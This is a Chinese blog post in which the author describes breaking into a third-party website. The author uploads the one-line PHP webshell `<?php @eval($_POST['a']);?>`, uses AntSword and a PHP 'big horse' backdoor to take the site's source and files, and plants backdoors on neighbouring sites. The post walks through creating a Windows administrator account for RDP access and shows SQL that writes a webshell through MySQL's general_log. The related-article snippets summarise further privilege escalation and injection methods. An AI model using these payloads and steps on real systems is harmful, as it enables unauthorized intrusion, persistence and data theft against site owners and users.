记一次PHP提权

发现

PHP大马:指木马病毒;PHP大马,就是PHP写的提取站点权限的程序;因为带有提权或者修改站点功能,所以称为叫木马。

自从师哥那里听说过之后,一直感叹于PHP大马的神奇...但一直没有机会。

直到有一天,某同学发来一个学习网站,随便翻了翻感觉嘿嘿嘿!还行......

试着上传一句话木马

<?php @eval($_POST['a']);?>

呃,显示上传成功...那就上蚁剑,直接连吧。

结果成了,这比我之前想的简单这么多吗???

既然到这儿了,为什么不试一下PHP大马呢?

来吧!

准备一枚PHP大马,通过蚁剑上传。

(PHP大马代码太多了,在网站直接上传的话,不容易成功)



输入密码,进入一看,我直接好家伙!毕竟是第一次去用它嘛。



网站源码都在里面了,还有网站后门。。。

发现了一个文件夹,点进去,发现了按日期排序的某些不可言明的学习资料。。。直接下载!

那为什么大马能实现这些功能呢?

通过socket或curl远程读取服务器phpapi.info上的大马数据,有意思的一点是把大马数据保存在session中,而不是写到文件中,所以要根据代码查杀是不行的。只要服务器不清除session中的数据,大马就会一直存在。

其他东西

去到上级目录,旁站的数据也看到了。。。还有赌博站、发卡站等,看了看有七八个站。

那网站源码我就存下了,学习资料也顺手留下啦!

顺便在旁站留下后门,别问,问就是为了好好学习!

我们可以新建管理用户、查看PHP版本

(这个站的PHP版本应该是7.1.33的)

还可以MYSQL提权!这我真没想到(这枚大马是师哥送我的,我也是第一次去使用它)

有了MySQL提权,我们可以试着利用日志写入webshell。直接提权的话也可以试试(反正我没试过)。

PHP大马提权过程简写

WINDOWS常见命令:

net user 查看所有用户

query user 查看当前运行中的用户

net user 用户名 密码 修改用户密码

net user 用户名 密码 /add 添加用户

net user 用户名 密码 /active 激活用户

net localgroup administrators 用户名 /add 添加管理员组

1.利用蚁剑上传cmd.exe

2.执行后,先查看所有用户,然后新建用户并将其填到管理员用户组下,用户名密码随便设置一个就好。

3.在WINDOWS10自带搜索框搜素mstsc呼出,点击远程桌面连接,输入ip即可连接服务器

MYSQL提权

MYSQL提权作用很大,我是从别处学到的,学艺不精,不敢妄语。

利用log日志写入WebShell

log日志可以保存所有的查询日志,先执行如下代码看一看基本配置:

 show variables like '%general%';

当 general_log=ON 时,所查询的sql语句都会出现在log文件中。那么,如果把 general_log_file 的路径修改为 shell.php,那么所查询的sql语句就会保存在shell.php中,如果我们执行查询一个一句话,就可以getshell。

set global general_log_file = '/var/www/html/shell.php';    # 设置日志文件地址

select '<?php eval($_POST[abc]);?>';   # 查询一句话,此时日志文件shell.php中将写入webshell

set global general_log=OFF;            #关闭

如果general_log=OFF的话我们还得需要设置为ON模式,再执行上面的sql语句。

set global general_log = ON;

小小看法

PHP大马和蚁剑哪个好用?我个人认为蚁剑好一些,PHP大马的功能,很多都可以利用蚁剑实现(而且我习惯用蚁剑了)。但其实也无所谓。

具体的PHP大马分析在写,有机会的话会写一个具体的PHP大马分析,并给出我的PHP大马。

一次PHP大马提权的更多相关文章

  1. 大马提权详细过程webshell到提权

    .在shell路径这一栏里输入服务器端cmd.exe对应的绝对路径,这里用我们刚刚上传上去的smallchao.exe 8.WINDOWS常见命令:net user 查看所有用户query user ...

  2. 通用型正方教务(通杀各版本)存在注入(不需登陆)+获得webshell+提权内网漫游

    某个接口页面存在oracle盲注,可以获得当前用户数据库,dump教师用户表,分析密文加密特征(前人研究成果+基友助攻),破译加密的密码.前台管理员登陆,后台文件上传基于黑名单原理,过滤u完全,上传特 ...

  3. 常用webshell提权方法总结

    pcAnywhere提权:1.利用pcAnywhere提权,前提条件是pcAnywhere默认安装到默认路径,以及它的目录安全权限有users权限,如果管理员删除了users和power users用 ...

  4. WIN提权总结【本地存档-转载】

    [ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...

  5. Meterpreter提权详解

      0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpr ...

  6. udf提权

    0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在my ...

  7. 记一次FileZillaServer提权

    前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的.在后台通过“产品图片 ...

  8. [原创]IIS提权工具-VBS提权脚本免杀生成器

    [原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53|  分类: 原创工具 VBS提权脚本随机加密生成器[K.8]  Author: QQ吻 QQ:39 ...

  9. weblogic系列漏洞整理 -- 3. weblogic 后台提权

    目录 三. weblogic 后台提权 0. 思路分析 1. 利用过程 2. 提示和技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.ht ...

随机推荐

  1. shell脚本(10)-流程控制while

    一.while循环介绍 while循环与for一样,一般不知道循环次数使用for,不知道循环的次数时推荐使用while 二.while语法 while [ condition ] #条件为真才会循环, ...

  2. dotnet部署出现Failed to load the dll from [ ... hostfxr.dll], HRESULT: 0x80070057

    起因 最近看到.net core 3支持wpf了,尝试一下(如果可行,会特别利于脱离.net运行时) dotnet new wpf dotnet publish -c Release -r win-x ...

  3. SpringMVC 参数中接收之一 List

    作者:张艳涛 time:2020-07-31 SpingMVC 一.前台传数组,SpingMVC用addusers(@RequestBody List<UserPojo> userlist ...

  4. videojs文档翻译Guides-Plugins

    Video.js Plugins Video.js的一大优势在于其插件生态系统,允许来自世界各地的作者分享他们的视频播放器定制.这包括从最简单的UI调整到新的播放技术和资源处理程序的一切! 因为我们将 ...

  5. Spring Cloud分区发布实践(1) 环境准备

    最近研究了一下Spring Cloud里面的灰度发布, 看到各种各样的使用方式, 真是纷繁复杂, 眼花缭乱, 不同的场景需要不同的解决思路. 那我们也来实践一下最简单的场景: 区域划分: 服务分为be ...

  6. noip模拟测试31

    终于有时间写博客了,前面一直咕咕咕都快变成一只公鸡了......这次考试,真的很意外,我在考场上觉得自己打出了T1的正解,样例一拍就过,还跑得嘎嘎快,然后T2,T3码了两个暴力,觉得自己应该能100p ...

  7. SpringBoot 如何进行参数校验,老鸟们都这么玩的!

    大家好,我是飘渺. 前几天写了一篇 SpringBoot如何统一后端返回格式?老鸟们都是这样玩的! 阅读效果还不错,而且被很多号主都转载过,今天我们继续第二篇,来聊聊在SprinBoot中如何集成参数 ...

  8. 了解CSS in JS(JSS)以及在React项目中配置并使用JSS

    目录 认识JSS 什么是JSS JSS 的常见实现 JSS 的好处与坏处 好处 坏处 使用模块化CSS实现JSS 安装插件 在React项目中的tsconfig.json中添加配置 vscode项目中 ...

  9. 把对象交给spring管理的3种方法及经典应用

    背景 先说一说什么叫把对象交给spring管理.它区别于把类交给spring管理.在spring里采用注解方式@Service.@Component这些,实际上管理的是类,把这些类交给spring来负 ...

  10. luoguP2601 对称的正方形

    题目描述 给出一个数字矩形,求这个矩形中有多少个子正方形满足上下对称.左右对称. 思路 我们可以用3个哈希数组 \(a\ b\ c\) 分别表示矩形从左上往右下看,从左下往右上看,从右上往左下看的样子 ...